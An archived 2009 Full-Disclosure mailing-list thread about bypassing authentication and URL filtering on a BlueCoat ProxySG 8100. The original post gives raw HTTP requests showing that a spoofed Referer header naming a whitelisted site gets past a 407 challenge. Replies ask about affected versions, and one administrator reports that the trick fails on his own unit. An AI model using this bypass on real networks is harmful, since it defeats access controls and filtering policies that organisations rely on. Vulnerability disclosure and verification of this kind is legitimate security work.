Re: [Full-disclosure] ByPass a BlueCoat Proxy 8100 Serie authentification
On Fri, Aug 14, 2009 at 4:17 PM, anto...@santo.fr wrote: > Gone beach for the Week End, more info on monday. > > Antoine. Lies. -Guy ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] ByPass a BlueCoat Proxy 8100 Serie authentification
> i think it basically means 'to a site thats been configured as allowed in the > configuration of the BC' - allowed = whitelisted, int he configuration = > localdatabase > > alan Alan, The Bluecoat 8100-C I'm going through has 27 policies in the "Web Access Layer." The first policy is configured to "ForceContentFail" for a list of destinations (a "blacklist" since colors seem to be in). The next 15 (2-16) policies are all DENY rules for specific hosts, IPs, regex patters, filenames, etc. The next 10 rules (17-26) are for destinations that should Bypass Caching. The final rule (27) is, Source: Any - Destination: Any - Service/Time: Any, Action: Allow. Google.com isn't listed anywhere in the first 26 policies - anyone on the LAN can access Google without authenticating. So, if I understand what you're saying, I should be able to spoof the "Referer" string sent from my browser to something like www.google.com, or cnn.com, whatever isn't listed in any of the DENY policies, and not only bypass authentication, but access sites explicitly defined in the deny policies? If that's the case, circumventing the auth or accessing "blacklisted" sites isn't happening. This is good of course; the device is working as it's supposed to, but I would like to confirm whether or not we're susceptible to this alleged bypass. So far, looks like a dud... Not even sure why this would work, it seems too simple. -Guy ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] ByPass a BlueCoat Proxy 8100 Serie authentification
Hi, > > ** > > Test two : i just add a spoofed http header REFERER to a whitelisted > > (localdatabase) site > > Result : W00t !! > > ** > > Can you elaborate on, "to a whitelisted (localdatabase) site"? i think it basically means 'to a site thats been configured as allowed in the configuration of the BC' - allowed = whitelisted, int he configuration = localdatabase alan ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] ByPass a BlueCoat Proxy 8100 Serie authentification
> ** > Test two : i just add a spoofed http header REFERER to a whitelisted > (localdatabase) site > Result : W00t !! > ** Antoine, Would you mind sharing the policy (on the bluecoat) you're referring to for www.mappy.fr? What is the "Action" for that host or IP set to? You mentioned "whitelisted" but that could mean anything from the list of options in the policy manager. Thanks, Guy ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] ByPass a BlueCoat Proxy 8100 Serie authentification
> From: Sebastien gioria > Is it working on all versions ? > Tested version : - Software version: SGOS 5.2.4.14 Proxy Edition ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] ByPass a BlueCoat Proxy 8100 Serie authentification
> ** > Test two : i just add a spoofed http header REFERER to a whitelisted > (localdatabase) site > Result : W00t !! > ** Can you elaborate on, "to a whitelisted (localdatabase) site"? None of the rules defined in the Web Authentication Layer or Web Access Layer have a "whitelist" attribute. In the list of available actions for the Web Authentication Layer there's: "Do Not Authenticate", "ForceAuthenticate1" and "Deny." In the Web Access Layer list of available actions there are a couple dozen options, none of which are labeled "whitelist" or "whitelisted." Also, I'm not sure what you mean by "localdatabase". Internal http traffic shouldn't hit the proxies... Using an 8100-C with SG05 5.2.4.3. -Guy ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] ByPass a BlueCoat Proxy 8100 Serie authentification
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Is it working on all versions ? Le 14 août 09 à 15:10, anto...@santo.fr a écrit : > Title : ByPass a BlueCoat Proxy 8100 Serie (authentification > request AND eventually the 3rd party url filtering solution) > Date : 14/08/2009 > Author : Antoine Santo > -BEGIN PGP SIGNATURE- Version: GnuPG/MacGPG2 v2.0.12 (Darwin) iEYEARECAAYFAkqFdYwACgkQbd20JnyNpPQabwCfZ4/0226HqLuMR6x9uFEvCNbi MKoAniYMMuW6KpaHq/kRPx7RXdwavyV3 =1hNq -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] ByPass a BlueCoat Proxy 8100 Serie authentification
Title : ByPass a BlueCoat Proxy 8100 Serie (authentification request AND eventually the 3rd party url filtering solution) Date : 14/08/2009 Author : Antoine Santo ** Test one : Try to browse http://www.fcnantes.com/ Result : I need an Account ** GET http://www.fcnantes.com/ HTTP/1.1 Host: www.fcnantes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive - HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: BASIC realm="ACCES" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Proxy-Connection: close Set-Cookie: BCSI-CS-XXX0302B32A48XXX=2; Path=/ Connection: close Content-Length: 733 Authentification needed ** Test two : i just add a spoofed http header REFERER to a whitelisted (localdatabase) site Result : W00t !! ** GET http://www.fcnantes.com/ HTTP/1.1 Host: www.fcnantes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Cookie: BCSI-CS-XXX0302B32A48XXX=2 Referer: http://www.mappy.fr - HTTP/1.1 200 OK Date: Fri, 14 Aug 2009 12:41:44 GMT Server: Apache/2.2.3 (Debian) Content-Type: text/html Transfer-Encoding: chunked Proxy-Connection: Keep-Alive Connection: Keep-Alive Age: 0 133f fcnantes.com - Site officiel du FC Nantes http://www.fcnantes.com/ is not even allowed by the url filter with my legal account ;) *** ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/